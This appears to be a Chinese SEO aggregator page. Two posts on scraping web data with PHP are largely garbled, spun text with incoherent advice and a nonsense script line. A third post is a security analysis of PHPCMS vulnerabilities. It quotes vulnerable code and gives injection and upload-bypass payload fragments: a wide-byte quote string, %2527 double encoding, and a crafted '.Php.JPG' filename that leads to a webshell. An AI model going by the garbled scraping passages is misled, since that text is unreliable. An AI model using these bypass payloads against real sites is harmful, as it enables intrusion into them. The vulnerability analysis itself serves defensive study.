
php抓取网页数据插入数据库
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发
网站优化 • 优采云 发表了文章 • 0 个评论 • 92 次浏览 • 2022-08-13 11:29
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发,ide推荐phpstorm和webstorm,安装phpstorm后可以免了安装数据库工具lnmp这一步。
这个php抓取网页是小型的爬虫,时长又比较短,你都直接用phpscrapy封装一个就可以,容易学,最好买视频教程,讲得好容易跟上,自己写代码这个太久远了,学习的时候可以看看3本书1。headfirstheadfirstjavascript权威指南这是讲javascript的2。headfirstjavascript这是讲headfirst本身原理的3。
scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
别配置了,这个类型直接从。
你放个jpg过来让我看看吗?不能手工刷点关键的信息吗?
没啥技术含量就拿log里的信息套着写
谢邀:1.爬虫很多种,如果题主没接触过那最好先从套接字出发2.爬虫需要学习一点点前端知识,具体用户画像请参考javascript相关知识,然后带有属性标签的信息就是数据了3.爬虫只需要在headers里放入目标的useragent就可以了,数据结构不变,变的是useragent。4.还有爬虫可以考虑先自己写几个小的,整合成一个规模小的,到时候学习维护也比较容易。
用数据库存点东西,写爬虫程序多麻烦5.可以自己装个iis之类的来跑起来,看看效果,如果前端实在搞不定就再换个程序员。6.成熟的爬虫服务比如ecshop,可以提供定制的robots协议,如果题主用过相关的服务,可以建议后台管理页面弄一个定制robots,这样更直观些。7.其实很多服务都很全,比如淘宝。8.最后,以后爬虫想做就做,别给这个圈子压力太大,还有“百度都可以做但你不能做”这种观念。
如果认准继续做爬虫,可以关注相关人员,多投递简历,如果想创业,建议从php开始,目前现在的情况php服务器什么的确实比较便宜,做起来容易。欢迎加入php爬虫qq群,群号:623118093。 查看全部
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发,ide推荐phpstorm和webstorm,安装phpstorm后可以免了安装数据库工具lnmp这一步。
这个php抓取网页是小型的爬虫,时长又比较短,你都直接用phpscrapy封装一个就可以,容易学,最好买视频教程,讲得好容易跟上,自己写代码这个太久远了,学习的时候可以看看3本书1。headfirstheadfirstjavascript权威指南这是讲javascript的2。headfirstjavascript这是讲headfirst本身原理的3。

scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
别配置了,这个类型直接从。
你放个jpg过来让我看看吗?不能手工刷点关键的信息吗?

没啥技术含量就拿log里的信息套着写
谢邀:1.爬虫很多种,如果题主没接触过那最好先从套接字出发2.爬虫需要学习一点点前端知识,具体用户画像请参考javascript相关知识,然后带有属性标签的信息就是数据了3.爬虫只需要在headers里放入目标的useragent就可以了,数据结构不变,变的是useragent。4.还有爬虫可以考虑先自己写几个小的,整合成一个规模小的,到时候学习维护也比较容易。
用数据库存点东西,写爬虫程序多麻烦5.可以自己装个iis之类的来跑起来,看看效果,如果前端实在搞不定就再换个程序员。6.成熟的爬虫服务比如ecshop,可以提供定制的robots协议,如果题主用过相关的服务,可以建议后台管理页面弄一个定制robots,这样更直观些。7.其实很多服务都很全,比如淘宝。8.最后,以后爬虫想做就做,别给这个圈子压力太大,还有“百度都可以做但你不能做”这种观念。
如果认准继续做爬虫,可以关注相关人员,多投递简历,如果想创业,建议从php开始,目前现在的情况php服务器什么的确实比较便宜,做起来容易。欢迎加入php爬虫qq群,群号:623118093。
使用php抓取网页数据插入数据库的方法总结!!
网站优化 • 优采云 发表了文章 • 0 个评论 • 78 次浏览 • 2022-08-03 10:08
php抓取网页数据插入数据库是php开发的一个常见模式。要在不动动手的情况下将非结构化的数据转化为结构化的数据,这有着一定的难度。但是因为php只需要写一行代码,所以通过利用phpstorm这样的工具就可以轻松完成php抓取网页数据插入数据库的方法。下面我就总结下使用phpstorm将文本进行转化的模板。
1.下载phpstorm插件,不然打开网页文件和从代码页面会有莫名问题(这个我深有体会,比如我在打开常用的一些名片中文信息网站时,无法打开,我使用命令提示符netshwinsockreset之后sublimetext会将整个文件名都写入当前用户目录)。2.将网页文件或者php文件直接拖拽到软件内即可。
3.可以生成报告里的3d数据库表。4.可以支持正则表达式和图片文件,都是php写的。5.下次写blog的时候可以把上次没有打开的文件再次发出来。欢迎fans。
每当我都会被那个xx软件给坑,在我当时打开一个wordpress网站时,请求头加上那个xx,然后大到整个对数据库的数据量大到目标域名服务器拦截不到,小到你这个content目录下需要存储多少东西都可以通过xx处理。我会告诉你我还试着通过他们的自助工具下载了半天不停点击那个按钮的吗?我已经不是单纯的用php获取数据了,我是用php完成全部任务。
还有http_request_response的话,请求的时候自带有一个localcache缓存的地方可以存放,我这边拿他举例子,你告诉他用php下载个什么东西,他直接启动自己那个工具,大不了就是给你加上那个jscssjpg.至于传统wordpress,他说他可以自动识别(yeah),但如果你真的真的要写代码,大胆试着看看下面我要介绍的吧,相比于你在php里面写,不用多说,来我给你介绍一些抓取的技巧吧。
我的logicalimage就在我这里,你下载之后不说download,直接copy。可以抓取很多网站。使用curl库来进行包含cookie/session的数据抓取(比如类似木马软件/广告过滤器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header记录你的头部信息。
可以在很大程度上避免其他人抓取你的数据,比如给第三方账号发消息封号。#@黄铜的网站抓取脚本代码:installthewordpressphp-ftpspidersandjoindownloader@黄铜request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黄铜fromdownload.json;i。 查看全部
使用php抓取网页数据插入数据库的方法总结!!
php抓取网页数据插入数据库是php开发的一个常见模式。要在不动动手的情况下将非结构化的数据转化为结构化的数据,这有着一定的难度。但是因为php只需要写一行代码,所以通过利用phpstorm这样的工具就可以轻松完成php抓取网页数据插入数据库的方法。下面我就总结下使用phpstorm将文本进行转化的模板。
1.下载phpstorm插件,不然打开网页文件和从代码页面会有莫名问题(这个我深有体会,比如我在打开常用的一些名片中文信息网站时,无法打开,我使用命令提示符netshwinsockreset之后sublimetext会将整个文件名都写入当前用户目录)。2.将网页文件或者php文件直接拖拽到软件内即可。

3.可以生成报告里的3d数据库表。4.可以支持正则表达式和图片文件,都是php写的。5.下次写blog的时候可以把上次没有打开的文件再次发出来。欢迎fans。
每当我都会被那个xx软件给坑,在我当时打开一个wordpress网站时,请求头加上那个xx,然后大到整个对数据库的数据量大到目标域名服务器拦截不到,小到你这个content目录下需要存储多少东西都可以通过xx处理。我会告诉你我还试着通过他们的自助工具下载了半天不停点击那个按钮的吗?我已经不是单纯的用php获取数据了,我是用php完成全部任务。

还有http_request_response的话,请求的时候自带有一个localcache缓存的地方可以存放,我这边拿他举例子,你告诉他用php下载个什么东西,他直接启动自己那个工具,大不了就是给你加上那个jscssjpg.至于传统wordpress,他说他可以自动识别(yeah),但如果你真的真的要写代码,大胆试着看看下面我要介绍的吧,相比于你在php里面写,不用多说,来我给你介绍一些抓取的技巧吧。
我的logicalimage就在我这里,你下载之后不说download,直接copy。可以抓取很多网站。使用curl库来进行包含cookie/session的数据抓取(比如类似木马软件/广告过滤器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header记录你的头部信息。
可以在很大程度上避免其他人抓取你的数据,比如给第三方账号发消息封号。#@黄铜的网站抓取脚本代码:installthewordpressphp-ftpspidersandjoindownloader@黄铜request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黄铜fromdownload.json;i。
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 125 次浏览 • 2022-07-15 09:14
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:

第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
